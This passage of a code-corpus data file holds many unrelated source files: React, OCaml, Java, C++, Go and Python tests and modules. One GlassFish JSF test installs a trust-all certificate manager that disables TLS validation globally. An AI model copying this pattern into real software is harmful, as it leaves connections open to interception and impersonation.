'react';\nimport PT from 'prop-types';\nimport './LoaderStyle.scss';\n\nfunction Loader({\n type,\n}) {\n const className = `Loader${type ? ` Loader_${type}` : ''}`;\n\n return (\n
\n
\n
\n
\n
\n );\n}\n\nLoader.defaultProps = {\n type: '',\n};\n\nLoader.propTypes = {\n type: PT.oneOf(['small', '']),\n};\n\nexport default Loader;\n"} +{"text": "{\n \"word\": \"Select\",\n \"definitions\": [\n \"Carefully choose as being the best or most suitable.\",\n \"(in terms of evolution) determine whether (a characteristic or organism) will survive.\",\n \"Mark (an option or section of text) on an electronic interface for a particular operation.\"\n ],\n \"parts-of-speech\": \"Verb\"\n}"} +{"text": "export { relative, resolve } from \"https://deno.land/std@v0.65.0/path/mod.ts\";\nexport { readJson } from \"https://deno.land/std@v0.65.0/fs/read_json.ts\";\nexport {\n assert,\n assertArrayContains,\n assertEquals,\n} from \"https://deno.land/std@v0.65.0/testing/asserts.ts\";\n\nimport Denomander from \"https://deno.land/x/denomander@0.6.3/mod.ts\";\n\nexport { Denomander };\n"} +{"text": "(* Modified by TrustInSoft *)\n\n(**************************************************************************)\n(* *)\n(* This file is part of Frama-C. *)\n(* *)\n(* Copyright (C) 2007-2015 *)\n(* CEA (Commissariat à l'énergie atomique et aux énergies *)\n(* alternatives) *)\n(* *)\n(* you can redistribute it and/or modify it under the terms of the GNU *)\n(* Lesser General Public License as published by the Free Software *)\n(* Foundation, version 2.1. *)\n(* *)\n(* It is distributed in the hope that it will be useful, *)\n(* but WITHOUT ANY WARRANTY; without even the implied warranty of *)\n(* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *)\n(* GNU Lesser General Public License for more details. *)\n(* *)\n(* See the GNU Lesser General Public License version 2.1 *)\n(* for more details (enclosed in the file licenses/LGPLv2.1). *)\n(* *)\n(**************************************************************************)\n\ntype k =\n | Behavior\n | Enum\n | Field\n | Formal_var\n | Function\n | Global_var\n | Label\n | Literal_string\n | Local_var\n | Logic_var\n | Predicate\n | Type\n \nlet name_of_kind = function\n | Behavior -> \"behavior\"\n | Enum -> \"enum\"\n | Field -> \"field\"\n | Formal_var -> \"formal variable\"\n | Function -> \"function\"\n | Global_var -> \"global variable\"\n | Label -> \"label\"\n | Literal_string -> \"literal string\"\n | Local_var -> \"local variable\"\n | Logic_var -> \"logic variable\"\n | Predicate -> \"predicate\"\n | Type -> \"type\"\n\nlet prefix = function\n | Behavior -> \"B\"\n | Enum -> \"E\"\n | Field -> \"M\"\n | Formal_var -> \"f\"\n | Function -> \"F\"\n | Global_var -> \"G\"\n | Label -> \"L\"\n | Literal_string -> \"LS\"\n | Local_var -> \"V\"\n | Logic_var -> \"LV\"\n | Predicate -> \"P\"\n | Type -> \"T\"\n\ninclude Datatype.Make_with_collections\n(struct\n type t = k\n let name = \"Obfuscator.kind\"\n let reprs = [ Global_var ]\n let hash (k:k) = Hashtbl.hash k\n let equal (k1:k) k2 = k1 = k2\n let compare (k1:k) k2 = Pervasives.compare k1 k2\n let varname _ = \"k\"\n let internal_pretty_code = Datatype.undefined\n let copy = Datatype.identity\n let structural_descr = Structural_descr.t_abstract\n let rehash = Datatype.identity\n let mem_project = Datatype.never_any_project\n let pretty fmt k = Format.fprintf fmt \"%s\" (name_of_kind k)\n end)\n\n(*\nLocal Variables:\ncompile-command: \"make -C ../../..\"\nEnd:\n*)\n"} +{"text": "/*\n * Copyright 2020 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.spring.taskapp.configuration;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * Establishes the properties for this application.\n *\n * @author Glenn Renfro\n */\n@ConfigurationProperties(\"taskapp\")\npublic class TaskAppProperties {\n\tprivate String exitMessage;\n\n\tpublic String getExitMessage() {\n\t\treturn exitMessage;\n\t}\n\n\tpublic void setExitMessage(String exitMessage) {\n\t\tthis.exitMessage = exitMessage;\n\t}\n}\n"} +{"text": "import Component from '@glimmer/component';\nimport { NachoTableCustomColumnConfig, INachoTableConfigs } from '@nacho-ui/table/types/nacho-table';\nimport { Dictionary } from 'lodash';\nimport { DataModelEntityInstance } from '@datahub/data-models/constants/entity';\nimport { getDatasetUrnParts } from '@datahub/data-models/entity/dataset/utils/urn';\nimport { DatasetPlatform } from '@datahub/metadata-types/constants/entity/dataset/platform';\n\n/**\n * Attributes supplied via the Nacho Table Row component\n * @interface IHealthHealthFactorActionArgs\n */\ninterface IHealthHealthFactorActionArgs {\n // Expected row level information for the Health validation\n rowData?: Com.Linkedin.Common.HealthValidation;\n // NachoTable configuration options for the row label\n labelConfig?: NachoTableCustomColumnConfig;\n // Modified table configuration options passed in to each row from Nacho Table\n tableConfigs?: INachoTableConfigs & {\n options?: { entity: DataModelEntityInstance; wikiLink: string };\n };\n}\n\n/**\n * Validator CTA attributes to be passed down to the Validator record in a HealthFactorAction\n * @interface IHealthValidatorCta\n */\ninterface IHealthValidatorCta {\n // CTA text to be shown in the button\n text: string;\n // Flag indicating that this CTA is an external wiki link\n isWiki?: boolean;\n}\n\n/**\n * Handles CTA button for each row in the Health Factors table\n * @export\n * @class HealthHealthFactorAction\n * @extends {Component}\n */\nexport default class HealthHealthFactorAction extends Component {\n /**\n * Specifies the control name for tracking action interactions (clicks) based on the current\n * validator\n * @readonly\n */\n get controlName(): string {\n const validator = this.args.rowData?.validator || '';\n const controlNames: Dictionary = {\n Ownership: 'DataHubHealthScoreFactorsActionViewOwnership',\n Description: 'DataHubHealthScoreFactorsActionViewDescription'\n };\n\n return controlNames[validator];\n }\n\n /**\n * Provides the CTA text for the available validators for Health metadata\n * @readonly\n */\n get cta(): IHealthValidatorCta | undefined {\n const validator = this.args.rowData?.validator || '';\n const knownValidatorCtas: Dictionary = {\n Ownership: { text: 'View Owners', isWiki: this.validatorHasExternalAction },\n Description: { text: 'See Details in Wiki', isWiki: true }\n };\n\n return knownValidatorCtas[validator];\n }\n\n /**\n * Determines if the cta for the related validator is a link to the external resource\n * Temporary implementation, will be derived from a config endpoint that responds with\n * a shape similar to:\n * {\n * [validator]: {\n * text: String;\n * link?: String;\n * inPageRedirectComponentName?: enum /string\n * }\n * }\n * @TODO: META-11944 Integrate Health Validator config endpoint\n * @readonly\n */\n get validatorHasExternalAction(): boolean {\n const entity = this.args.tableConfigs?.options?.entity;\n\n if (entity) {\n // Attempt to parse the urn for a platform to check if it matches the expected platform\n // for external action or if the related entity is a metric entity\n const { platform } = getDatasetUrnParts(entity.urn);\n let isExternal = entity.displayName === 'metrics';\n\n if (platform) {\n // Short circuit if already truthy\n isExternal = isExternal || platform === DatasetPlatform.UMP;\n }\n\n return isExternal;\n }\n\n return false;\n }\n}\n"} +{"text": "/* \n * \n * Confidential Information of Telekinesys Research Limited (t/a Havok). Not for disclosure or distribution without Havok's\n * prior written consent. This software contains code, techniques and know-how which is confidential and proprietary to Havok.\n * Level 2 and Level 3 source code contains trade secrets of Havok. Havok Software (C) Copyright 1999-2010 Telekinesys Research Limited t/a Havok. All Rights Reserved. Use of this software is subject to the terms of an end user license agreement.\n * \n */\n\n#ifndef HK_DYNAMICS2_CHAIN_DATA_H\n#define HK_DYNAMICS2_CHAIN_DATA_H\n\n#include \n#include \n#include \n\nextern const class hkClass hkpConstraintChainDataClass;\n\n\t/// Base class for constraint-chain data's.\n\t/// See hkpConstraintChainInstance for more information.\nclass hkpConstraintChainData : public hkpConstraintData\n{\n\tpublic:\n\tHK_DECLARE_CLASS_ALLOCATOR(HK_MEMORY_CLASS_BASE);\n\t\tHK_DECLARE_REFLECTION();\n\n\t\t\t/// Default constructor.\n\t\tinline hkpConstraintChainData() {}\n\n\t\t\t/// Returns number of stored ConstraintInfos. hkConstraintChainInstances that use this data may\n\t\t\t/// have up to (getNumConstraintInfos() + 1) bodies. When their number is lesser, the ConstraintInfos at the\n\t\t\t/// end of the list are ignored.\n\t\tvirtual int getNumConstraintInfos() = 0;\n\n\t\t\t/// Serialization constructor\n\t\thkpConstraintChainData(hkFinishLoadedObjectFlag f) : hkpConstraintData(f) {}\n\n};\n\n\n\n\n#endif // HK_DYNAMICS2_CHAIN_DATA_H\n\n/*\n* Havok SDK - NO SOURCE PC DOWNLOAD, BUILD(#20101115)\n* \n* Confidential Information of Havok. (C) Copyright 1999-2010\n* Telekinesys Research Limited t/a Havok. All Rights Reserved. The Havok\n* Logo, and the Havok buzzsaw logo are trademarks of Havok. Title, ownership\n* rights, and intellectual property rights in the Havok software remain in\n* Havok and/or its suppliers.\n* \n* Use of this software for evaluation purposes is subject to and indicates\n* acceptance of the End User licence Agreement for this product. A copy of\n* the license is included with this software and is also available at www.havok.com/tryhavok.\n* \n*/\n"} +{"text": "/*\n Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved.\n For licensing, see LICENSE.md or http://ckeditor.com/license\n*/\nCKEDITOR.plugins.setLang(\"devtools\",\"et\",{title:\"Elemendi andmed\",dialogName:\"Dialoogiakna nimi\",tabName:\"Saki nimi\",elementId:\"Elemendi ID\",elementType:\"Elemendi liik\"});"} +{"text": "/*\n * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.\n *\n * This program and the accompanying materials are made available under the\n * terms of the Eclipse Public License v. 2.0, which is available at\n * http://www.eclipse.org/legal/epl-2.0.\n *\n * This Source Code may also be made available under the following Secondary\n * Licenses when the conditions for such availability set forth in the\n * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,\n * version 2 with the GNU Classpath Exception, which is available at\n * https://www.gnu.org/software/classpath/license.html.\n *\n * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0\n */\n\npackage org.glassfish.tests.embedded.jsftest;\n\nimport org.junit.Assert;\nimport org.junit.Test;\n\nimport javax.net.ssl.HttpsURLConnection;\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.X509TrustManager;\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.security.SecureRandom;\nimport java.security.cert.X509Certificate;\n\npublic class JSFTest {\n\n @Test\n public void testWeb() throws Exception {\n\n disableCertValidation();\n\n goGet(\"http://localhost:8080/test/JSFTestServlet\", \"Created viewRoot\");\n \n // test non secure access.\n goGet(\"http://localhost:8080/test\", \"BHAVANI\", \"SHANKAR\", \"Mr. X\");\n\n // test secure access.\n goGet(\"https://localhost:8181/test\", \"BHAVANI\", \"SHANKAR\", \"Mr. X\");\n }\n\n private static void goGet(String url, String... match) throws Exception {\n try {\n\n URL servlet = new URL(url);\n HttpURLConnection uc = (HttpURLConnection) servlet.openConnection();\n System.out.println(\"\\nURLConnection = \" + uc + \" : \");\n if (uc.getResponseCode() != 200) {\n throw new Exception(\"Servlet did not return 200 OK response code\");\n }\n\n BufferedReader in = new BufferedReader(new InputStreamReader(\n uc.getInputStream()));\n String line = null;\n boolean[] found = new boolean[match.length];\n\n int count = 0;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n for (String m : match) {\n int index = line.indexOf(m);\n if (index != -1 && count < match.length) {\n found[count++] = true;\n System.out.println(\"Found [\" + m + \"] in the response, index = \" + count);\n break;\n }\n }\n }\n\n for (boolean f : found) {\n Assert.assertTrue(f);\n }\n System.out.println(\"\\n***** SUCCESS **** Found all matches in the response.*****\\n\");\n in.close();\n } catch (Exception e) {\n e.printStackTrace();\n throw e;\n }\n }\n\n public static void disableCertValidation() {\n // Create a trust manager that does not validate certificate chains\n TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() {\n public X509Certificate[] getAcceptedIssuers() {\n return null;\n }\n\n public void checkClientTrusted(X509Certificate[] certs, String authType) {\n return;\n }\n\n public void checkServerTrusted(X509Certificate[] certs, String authType) {\n return;\n }\n }};\n\n try {\n SSLContext sc = SSLContext.getInstance(\"TLS\");\n sc.init(null, trustAllCerts, new SecureRandom());\n HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());\n } catch (Exception e) {\n return;\n }\n }\n\n\n}\n"} +{"text": "// Copyright (c) 2018 Baidu, Inc. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#ifndef DMKIT_FILE_WATCHER_H\n#define DMKIT_FILE_WATCHER_H\n\n#include \n#include \n#include \n#include \n#include \n\nnamespace dmkit {\n\n// Callback function when file changed\ntypedef int (*FileChangeCallback)(void* param);\n\nstruct FileStatus {\n std::string file_path;\n std::string last_modified_time;\n FileChangeCallback callback;\n void* param;\n bool level_trigger;\n};\n\n// A file watcher singleton implemention\nclass FileWatcher {\npublic:\n static FileWatcher& get_instance();\n\n int register_file(const std::string file_path,\n FileChangeCallback cb,\n void* param,\n bool level_trigger=false);\n\n int unregister_file(const std::string file_path);\n\n // Do not need copy constructor and assignment operator for a singleton class\n FileWatcher(FileWatcher const&) = delete;\n void operator=(FileWatcher const&) = delete;\nprivate:\n FileWatcher();\n virtual ~FileWatcher();\n\n void watcher_thread_func();\n\n std::mutex _mutex;\n std::atomic _is_running;\n std::thread _watcher_thread;\n std::unordered_map _file_info;\n static const int CHECK_INTERVAL_IN_MILLS = 1000;\n};\n\n} // namespace dmkit\n\n#endif //DMKIT_FILE_WATCHER_H\n"} +{"text": "// Copyright (c) 2011 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef CONTENT_TEST_PLUGIN_PLUGIN_JAVASCRIPT_OPEN_POPUP_H_\n#define CONTENT_TEST_PLUGIN_PLUGIN_JAVASCRIPT_OPEN_POPUP_H_\n\n#include \"base/compiler_specific.h\"\n#include \"content/test/plugin/plugin_test.h\"\n\nnamespace NPAPIClient {\n\n// This class tests the case where a windowed plugin instance is\n// instantiated in a popup window. The plugin instance needs to\n// have a valid parent window.\nclass ExecuteJavascriptOpenPopupWithPluginTest : public PluginTest {\n public:\n // Constructor.\n ExecuteJavascriptOpenPopupWithPluginTest(\n NPP id, NPNetscapeFuncs *host_functions);\n // NPAPI SetWindow handler.\n virtual NPError SetWindow(NPWindow* window) OVERRIDE;\n\n private:\n bool popup_window_test_started_;\n};\n\n// This class represents a windowed plugin instance instantiated within a\n// popup window. It verifies that the plugin instance has a valid parent.\nclass ExecuteJavascriptPopupWindowTargetPluginTest : public PluginTest {\n public:\n ExecuteJavascriptPopupWindowTargetPluginTest(\n NPP id, NPNetscapeFuncs *host_functions);\n // NPAPI SetWindow handler.\n virtual NPError SetWindow(NPWindow* window) OVERRIDE;\n\n private:\n // Do a platform-specific validation of the passed-in |window|.\n // E.g. on Windows, verifies window->window is a reasonable HWND.\n // Returns true if the test should be marked complete.\n bool CheckWindow(NPWindow* window);\n\n bool test_completed_;\n};\n\n} // namespace NPAPIClient\n\n#endif // CONTENT_TEST_PLUGIN_PLUGIN_JAVASCRIPT_OPEN_POPUP_H_\n"} +{"text": "\n\n \n"} +{"text": "package main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/rancher/convoy/api\"\n\t\"github.com/rancher/convoy/client\"\n)\n\nvar (\n\t// version of Convoy\n\tVERSION = \"v0.5.2\"\n)\n\nfunc cleanup() {\n\tif r := recover(); r != nil {\n\t\tapi.ResponseLogAndError(r)\n\t\tos.Exit(1)\n\t}\n}\n\nfunc main() {\n\tdefer cleanup()\n\n\tcli := client.NewCli(VERSION)\n\terr := cli.Run(os.Args)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"Error when executing command: %v\", err))\n\t}\n}\n"} +{"text": "import sys\r\nimport types\r\nimport unittest\r\nimport inspect\r\nimport datetime\r\n\r\nfrom test.test_support import run_unittest, _check_py3k_warnings\r\n\r\nwith _check_py3k_warnings(\r\n (\"tuple parameter unpacking has been removed\", SyntaxWarning),\r\n quiet=True):\r\n from test import inspect_fodder as mod\r\n from test import inspect_fodder2 as mod2\r\n\r\n# Functions tested in this suite:\r\n# ismodule, isclass, ismethod, isfunction, istraceback, isframe, iscode,\r\n# isbuiltin, isroutine, isgenerator, isgeneratorfunction, getmembers,\r\n# getdoc, getfile, getmodule, getsourcefile, getcomments, getsource,\r\n# getclasstree, getargspec, getargvalues, formatargspec, formatargvalues,\r\n# currentframe, stack, trace, isdatadescriptor\r\n\r\n# NOTE: There are some additional tests relating to interaction with\r\n# zipimport in the test_zipimport_support test module.\r\n\r\nmodfile = mod.__file__\r\nif modfile.endswith(('c', 'o')):\r\n modfile = modfile[:-1]\r\n\r\nimport __builtin__\r\n\r\ntry:\r\n 1 // 0\r\nexcept:\r\n tb = sys.exc_traceback\r\n\r\ngit = mod.StupidGit()\r\n\r\nclass IsTestBase(unittest.TestCase):\r\n predicates = set([inspect.isbuiltin, inspect.isclass, inspect.iscode,\r\n inspect.isframe, inspect.isfunction, inspect.ismethod,\r\n inspect.ismodule, inspect.istraceback,\r\n inspect.isgenerator, inspect.isgeneratorfunction])\r\n\r\n def istest(self, predicate, exp):\r\n obj = eval(exp)\r\n self.failUnless(predicate(obj), '%s(%s)' % (predicate.__name__, exp))\r\n\r\n for other in self.predicates - set([predicate]):\r\n if predicate == inspect.isgeneratorfunction and\\\r\n other == inspect.isfunction:\r\n continue\r\n self.failIf(other(obj), 'not %s(%s)' % (other.__name__, exp))\r\n\r\ndef generator_function_example(self):\r\n for i in xrange(2):\r\n yield i\r\n\r\nclass TestPredicates(IsTestBase):\r\n def test_sixteen(self):\r\n count = len(filter(lambda x:x.startswith('is'), dir(inspect)))\r\n # This test is here for remember you to update Doc/library/inspect.rst\r\n # which claims there are 16 such functions\r\n expected = 16\r\n err_msg = \"There are %d (not %d) is* functions\" % (count, expected)\r\n self.assertEqual(count, expected, err_msg)\r\n\r\n\r\n def test_excluding_predicates(self):\r\n self.istest(inspect.isbuiltin, 'sys.exit')\r\n self.istest(inspect.isbuiltin, '[].append')\r\n self.istest(inspect.isclass, 'mod.StupidGit')\r\n self.istest(inspect.iscode, 'mod.spam.func_code')\r\n self.istest(inspect.isframe, 'tb.tb_frame')\r\n self.istest(inspect.isfunction, 'mod.spam')\r\n self.istest(inspect.ismethod, 'mod.StupidGit.abuse')\r\n self.istest(inspect.ismethod, 'git.argue')\r\n self.istest(inspect.ismodule, 'mod')\r\n self.istest(inspect.istraceback, 'tb')\r\n self.istest(inspect.isdatadescriptor, '__builtin__.file.closed')\r\n self.istest(inspect.isdatadescriptor, '__builtin__.file.softspace')\r\n self.istest(inspect.isgenerator, '(x for x in xrange(2))')\r\n self.istest(inspect.isgeneratorfunction, 'generator_function_example')\r\n if hasattr(types, 'GetSetDescriptorType'):\r\n self.istest(inspect.isgetsetdescriptor,\r\n 'type(tb.tb_frame).f_locals')\r\n else:\r\n self.failIf(inspect.isgetsetdescriptor(type(tb.tb_frame).f_locals))\r\n if hasattr(types, 'MemberDescriptorType'):\r\n self.istest(inspect.ismemberdescriptor, 'datetime.timedelta.days')\r\n else:\r\n self.failIf(inspect.ismemberdescriptor(datetime.timedelta.days))\r\n\r\n def test_isroutine(self):\r\n self.assert_(inspect.isroutine(mod.spam))\r\n self.assert_(inspect.isroutine([].count))\r\n\r\nclass TestInterpreterStack(IsTestBase):\r\n def __init__(self, *args, **kwargs):\r\n unittest.TestCase.__init__(self, *args, **kwargs)\r\n\r\n git.abuse(7, 8, 9)\r\n\r\n def test_abuse_done(self):\r\n self.istest(inspect.istraceback, 'git.ex[2]')\r\n self.istest(inspect.isframe, 'mod.fr')\r\n\r\n def test_stack(self):\r\n self.assert_(len(mod.st) >= 5)\r\n self.assertEqual(mod.st[0][1:],\r\n (modfile, 16, 'eggs', [' st = inspect.stack()\\n'], 0))\r\n self.assertEqual(mod.st[1][1:],\r\n (modfile, 9, 'spam', [' eggs(b + d, c + f)\\n'], 0))\r\n self.assertEqual(mod.st[2][1:],\r\n (modfile, 43, 'argue', [' spam(a, b, c)\\n'], 0))\r\n self.assertEqual(mod.st[3][1:],\r\n (modfile, 39, 'abuse', [' self.argue(a, b, c)\\n'], 0))\r\n\r\n def test_trace(self):\r\n self.assertEqual(len(git.tr), 3)\r\n self.assertEqual(git.tr[0][1:], (modfile, 43, 'argue',\r\n [' spam(a, b, c)\\n'], 0))\r\n self.assertEqual(git.tr[1][1:], (modfile, 9, 'spam',\r\n [' eggs(b + d, c + f)\\n'], 0))\r\n self.assertEqual(git.tr[2][1:], (modfile, 18, 'eggs',\r\n [' q = y // 0\\n'], 0))\r\n\r\n def test_frame(self):\r\n args, varargs, varkw, locals = inspect.getargvalues(mod.fr)\r\n self.assertEqual(args, ['x', 'y'])\r\n self.assertEqual(varargs, None)\r\n self.assertEqual(varkw, None)\r\n self.assertEqual(locals, {'x': 11, 'p': 11, 'y': 14})\r\n self.assertEqual(inspect.formatargvalues(args, varargs, varkw, locals),\r\n '(x=11, y=14)')\r\n\r\n def test_previous_frame(self):\r\n args, varargs, varkw, locals = inspect.getargvalues(mod.fr.f_back)\r\n self.assertEqual(args, ['a', 'b', 'c', 'd', ['e', ['f']]])\r\n self.assertEqual(varargs, 'g')\r\n self.assertEqual(varkw, 'h')\r\n self.assertEqual(inspect.formatargvalues(args, varargs, varkw, locals),\r\n '(a=7, b=8, c=9, d=3, (e=4, (f=5,)), *g=(), **h={})')\r\n\r\nclass GetSourceBase(unittest.TestCase):\r\n # Subclasses must override.\r\n fodderFile = None\r\n\r\n def __init__(self, *args, **kwargs):\r\n unittest.TestCase.__init__(self, *args, **kwargs)\r\n\r\n self.source = file(inspect.getsourcefile(self.fodderFile)).read()\r\n\r\n def sourcerange(self, top, bottom):\r\n lines = self.source.split(\"\\n\")\r\n return \"\\n\".join(lines[top-1:bottom]) + \"\\n\"\r\n\r\n def assertSourceEqual(self, obj, top, bottom):\r\n self.assertEqual(inspect.getsource(obj),\r\n self.sourcerange(top, bottom))\r\n\r\nclass TestRetrievingSourceCode(GetSourceBase):\r\n fodderFile = mod\r\n\r\n def test_getclasses(self):\r\n classes = inspect.getmembers(mod, inspect.isclass)\r\n self.assertEqual(classes,\r\n [('FesteringGob', mod.FesteringGob),\r\n ('MalodorousPervert', mod.MalodorousPervert),\r\n ('ParrotDroppings', mod.ParrotDroppings),\r\n ('StupidGit', mod.StupidGit)])\r\n tree = inspect.getclasstree([cls[1] for cls in classes], 1)\r\n self.assertEqual(tree,\r\n [(mod.ParrotDroppings, ()),\r\n (mod.StupidGit, ()),\r\n [(mod.MalodorousPervert, (mod.StupidGit,)),\r\n [(mod.FesteringGob, (mod.MalodorousPervert,\r\n mod.ParrotDroppings))\r\n ]\r\n ]\r\n ])\r\n\r\n def test_getfunctions(self):\r\n functions = inspect.getmembers(mod, inspect.isfunction)\r\n self.assertEqual(functions, [('eggs', mod.eggs),\r\n ('spam', mod.spam)])\r\n\r\n def test_getdoc(self):\r\n self.assertEqual(inspect.getdoc(mod), 'A module docstring.')\r\n self.assertEqual(inspect.getdoc(mod.StupidGit),\r\n 'A longer,\\n\\nindented\\n\\ndocstring.')\r\n self.assertEqual(inspect.getdoc(git.abuse),\r\n 'Another\\n\\ndocstring\\n\\ncontaining\\n\\ntabs')\r\n\r\n def test_cleandoc(self):\r\n self.assertEqual(inspect.cleandoc('An\\n indented\\n docstring.'),\r\n 'An\\nindented\\ndocstring.')\r\n\r\n def test_getcomments(self):\r\n self.assertEqual(inspect.getcomments(mod), '# line 1\\n')\r\n self.assertEqual(inspect.getcomments(mod.StupidGit), '# line 20\\n')\r\n\r\n def test_getmodule(self):\r\n # Check actual module\r\n self.assertEqual(inspect.getmodule(mod), mod)\r\n # Check class (uses __module__ attribute)\r\n self.assertEqual(inspect.getmodule(mod.StupidGit), mod)\r\n # Check a method (no __module__ attribute, falls back to filename)\r\n self.assertEqual(inspect.getmodule(mod.StupidGit.abuse), mod)\r\n # Do it again (check the caching isn't broken)\r\n self.assertEqual(inspect.getmodule(mod.StupidGit.abuse), mod)\r\n # Check a builtin\r\n self.assertEqual(inspect.getmodule(str), sys.modules[\"__builtin__\"])\r\n # Check filename override\r\n self.assertEqual(inspect.getmodule(None, modfile), mod)\r\n\r\n def test_getsource(self):\r\n self.assertSourceEqual(git.abuse, 29, 39)\r\n self.assertSourceEqual(mod.StupidGit, 21, 46)\r\n\r\n def test_getsourcefile(self):\r\n self.assertEqual(inspect.getsourcefile(mod.spam), modfile)\r\n self.assertEqual(inspect.getsourcefile(git.abuse), modfile)\r\n\r\n def test_getfile(self):\r\n self.assertEqual(inspect.getfile(mod.StupidGit), mod.__file__)\r\n\r\n def test_getmodule_recursion(self):\r\n from types import ModuleType\r\n name = '__inspect_dummy'\r\n m = sys.modules[name] = ModuleType(name)\r\n m.__file__ = \"\" # hopefully not a real filename...\r\n m.__loader__ = \"dummy\" # pretend the filename is understood by a loader\r\n exec \"def x(): pass\" in m.__dict__\r\n self.assertEqual(inspect.getsourcefile(m.x.func_code), '')\r\n del sys.modules[name]\r\n inspect.getmodule(compile('a=10','','single'))\r\n\r\nclass TestDecorators(GetSourceBase):\r\n fodderFile = mod2\r\n\r\n def test_wrapped_decorator(self):\r\n self.assertSourceEqual(mod2.wrapped, 14, 17)\r\n\r\n def test_replacing_decorator(self):\r\n self.assertSourceEqual(mod2.gone, 9, 10)\r\n\r\nclass TestOneliners(GetSourceBase):\r\n fodderFile = mod2\r\n def test_oneline_lambda(self):\r\n # Test inspect.getsource with a one-line lambda function.\r\n self.assertSourceEqual(mod2.oll, 25, 25)\r\n\r\n def test_threeline_lambda(self):\r\n # Test inspect.getsource with a three-line lambda function,\r\n # where the second and third lines are _not_ indented.\r\n self.assertSourceEqual(mod2.tll, 28, 30)\r\n\r\n def test_twoline_indented_lambda(self):\r\n # Test inspect.getsource with a two-line lambda function,\r\n # where the second line _is_ indented.\r\n self.assertSourceEqual(mod2.tlli, 33, 34)\r\n\r\n def test_onelinefunc(self):\r\n # Test inspect.getsource with a regular one-line function.\r\n self.assertSourceEqual(mod2.onelinefunc, 37, 37)\r\n\r\n def test_manyargs(self):\r\n # Test inspect.getsource with a regular function where\r\n # the arguments are on two lines and _not_ indented and\r\n # the body on the second line with the last arguments.\r\n self.assertSourceEqual(mod2.manyargs, 40, 41)\r\n\r\n def test_twolinefunc(self):\r\n # Test inspect.getsource with a regular function where\r\n # the body is on two lines, following the argument list and\r\n # continued on the next line by a \\\\.\r\n self.assertSourceEqual(mod2.twolinefunc, 44, 45)\r\n\r\n def test_lambda_in_list(self):\r\n # Test inspect.getsource with a one-line lambda function\r\n # defined in a list, indented.\r\n self.assertSourceEqual(mod2.a[1], 49, 49)\r\n\r\n def test_anonymous(self):\r\n # Test inspect.getsource with a lambda function defined\r\n # as argument to another function.\r\n self.assertSourceEqual(mod2.anonymous, 55, 55)\r\n\r\nclass TestBuggyCases(GetSourceBase):\r\n fodderFile = mod2\r\n\r\n def test_with_comment(self):\r\n self.assertSourceEqual(mod2.with_comment, 58, 59)\r\n\r\n def test_multiline_sig(self):\r\n self.assertSourceEqual(mod2.multiline_sig[0], 63, 64)\r\n\r\n def test_nested_class(self):\r\n self.assertSourceEqual(mod2.func69().func71, 71, 72)\r\n\r\n def test_one_liner_followed_by_non_name(self):\r\n self.assertSourceEqual(mod2.func77, 77, 77)\r\n\r\n def test_one_liner_dedent_non_name(self):\r\n self.assertSourceEqual(mod2.cls82.func83, 83, 83)\r\n\r\n def test_with_comment_instead_of_docstring(self):\r\n self.assertSourceEqual(mod2.func88, 88, 90)\r\n\r\n def test_method_in_dynamic_class(self):\r\n self.assertSourceEqual(mod2.method_in_dynamic_class, 95, 97)\r\n\r\n# Helper for testing classify_class_attrs.\r\ndef attrs_wo_objs(cls):\r\n return [t[:3] for t in inspect.classify_class_attrs(cls)]\r\n\r\nclass TestClassesAndFunctions(unittest.TestCase):\r\n def test_classic_mro(self):\r\n # Test classic-class method resolution order.\r\n class A: pass\r\n class B(A): pass\r\n class C(A): pass\r\n class D(B, C): pass\r\n\r\n expected = (D, B, A, C)\r\n got = inspect.getmro(D)\r\n self.assertEqual(expected, got)\r\n\r\n def test_newstyle_mro(self):\r\n # The same w/ new-class MRO.\r\n class A(object): pass\r\n class B(A): pass\r\n class C(A): pass\r\n class D(B, C): pass\r\n\r\n expected = (D, B, C, A, object)\r\n got = inspect.getmro(D)\r\n self.assertEqual(expected, got)\r\n\r\n def assertArgSpecEquals(self, routine, args_e, varargs_e = None,\r\n varkw_e = None, defaults_e = None,\r\n formatted = None):\r\n args, varargs, varkw, defaults = inspect.getargspec(routine)\r\n self.assertEqual(args, args_e)\r\n self.assertEqual(varargs, varargs_e)\r\n self.assertEqual(varkw, varkw_e)\r\n self.assertEqual(defaults, defaults_e)\r\n if formatted is not None:\r\n self.assertEqual(inspect.formatargspec(args, varargs, varkw, defaults),\r\n formatted)\r\n\r\n def test_getargspec(self):\r\n self.assertArgSpecEquals(mod.eggs, ['x', 'y'], formatted = '(x, y)')\r\n\r\n self.assertArgSpecEquals(mod.spam,\r\n ['a', 'b', 'c', 'd', ['e', ['f']]],\r\n 'g', 'h', (3, (4, (5,))),\r\n '(a, b, c, d=3, 